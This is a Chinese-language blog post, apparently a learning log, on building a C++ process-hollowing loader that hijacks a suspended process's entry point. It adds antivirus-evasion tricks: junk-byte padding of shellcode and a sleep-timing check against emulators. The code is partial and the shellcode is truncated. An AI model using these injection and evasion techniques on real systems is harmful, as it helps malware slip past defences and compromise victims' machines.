APT武器庫打造計畫 && entry point 劫持 (1)

APT武器庫打造計畫 && entry point 劫持 (1)

1
2
3
4
最近在練習dll injection、bypassAV一些規避技術,
有朋友提到不能使用managed程式去做繞過,否則一定被查殺,
於是決定用C++是看看練習刻一個process hollowing出來,
技術不到位,可能會有很多錯誤觀念XDD

流程

1
2
3
4
5
通過CreateProcess創建進程,傳入參數CREATE_SUSPENDED使進程掛起
通過NtQueryInformationProcess 找出imagebase
從ImageBase讀取PE頭信息,再從NTheader中獲取entry point RVA,加上獲取的RVA得到entry point address。
通過WriteProcessMemory向內存寫入payload
通過ResumeThread喚醒進程,執行payload

建立一個 Suspended Process , 此為注入的目標 Process

1
使用 CreateProcessA 建立Process
  • CreateProcessA
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    BOOL CreateProcessA(
    [in, optional] LPCSTR lpApplicationName, //應用程式名稱
    [in, out, optional] LPSTR lpCommandLine, //命令行字符串
    [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes, //Process安全屬性
    [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, //Thread安全屬性
    [in] BOOL bInheritHandles, //是否繼承父進程的屬性
    [in] DWORD dwCreationFlags, //創建標誌
    [in, optional] LPVOID lpEnvironment, //指向新環境塊的Pointer
    [in, optional] LPCSTR lpCurrentDirectory, //指向當前目錄名的Pointer
    [in] LPSTARTUPINFOA lpStartupInfo, //傳遞給新進程的信息
    [out] LPPROCESS_INFORMATION lpProcessInformation //新進程返回的信息
    );
1
2
3
4
5
使用 CreateProcessA 建立 Process,其中有個重點是第六個參數 dwCreationFlags 必須是 CREATE_SUSPENDED (0x4),因為需要它維持在初始狀態,讓我們能夠對其中的記憶體進行修改。

建立了目標 Process後,並把它的記憶體竄改成我們自己的程式後,呼叫 ResumeThread 就可以讓它恢復執行。

有了目標 Process 的 Handle,就可以取得 PEB,裡面包含後面步驟需要用到的 ImageBaseAddress。

  • LPSTARTUPINFOA && PROCESS_INFORMATION
    1
    2
    LPSTARTUPINFOA si是一個指向STARTUPINFOA結構的指標,指定新進程的窗口屬性。 
    PROCESS_INFORMATION proc_info是一個包含新進程及其主線程信息的結構。它通常用於存儲新進程的進程和線程句柄。

取得imageBase

1
2
3
NtQueryInformationProcess 函數用於查詢有關特定過程的信息,並將結果存儲在 pbi 結構中。

第一個參數是一個過程句柄,第二個參數是 ProcessBasicInformation 枚舉值,第三個參數是一個指向 PROCESS_BASIC_INFORMATION 結構的指針,第四個參數是結構的大小,第五個參數是一個指向存儲結果的指針。

1
dt !_PEB 結構資訊

  • PEB + 0x10位置即是process的imagebase address
    1
    2
    3
    4
    透過ReadProcessMemory來取得指定記憶體內容
    LONGLONG imageBaseOffset = (LONGLONG)pbi.PebBaseAddress + 0x10;

    PEB位置加上0x10定位到imagebase

獲取Header頭

Shellcode 加密 && Sleep 程式

1
2
3
目前是塞垃圾byte給shellcode
並且執行時先讓程式做sleep
有些啟發式防毒會將程式丟到模擬器去執行,遇到延遲會快進,
  • 加密方式很多種,目前還在測試中,於是就隨便塞垃圾byte..

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    unsigned char plain[] = "\xfc\x48\x83\xe4\xf0
    unsigned char buf[4 * sizeof(plain)];

    int j = 0;

    for (int i = 0; i < 4 * sizeof(plain); i++) {

    if (i % 4 == 0) {
    buf[i] = plain[j];
    j++;
    }
    else {
    buf[i] = rand() & 15;
    }
    }
  • sleep

    1
    2
    3
    4
    5
    6
    7
    8
    auto t1 = std::chrono::system_clock::now();
    std::this_thread::sleep_for(std::chrono::seconds(2));
    auto t2 = std::chrono::system_clock::now();
    auto elapsed_time = std::chrono::duration_cast<std::chrono::seconds>(t2 - t1).count();
    std::cout << "Elapsed time: " << elapsed_time << " seconds" << std::endl;
    if (elapsed_time < 1.5) {
    return;
    }

結語

1
2
目前還有太多東西不了解,還需要更多的嘗試才會有更多收穫,
繼續學習zzz

APT武器庫打造計畫 && entry point 劫持 (1)
https://0xbe61a55f.github.io/2022/12/07/APT武器庫1/
作者
Giwawa
發布於
2022年12月7日
許可協議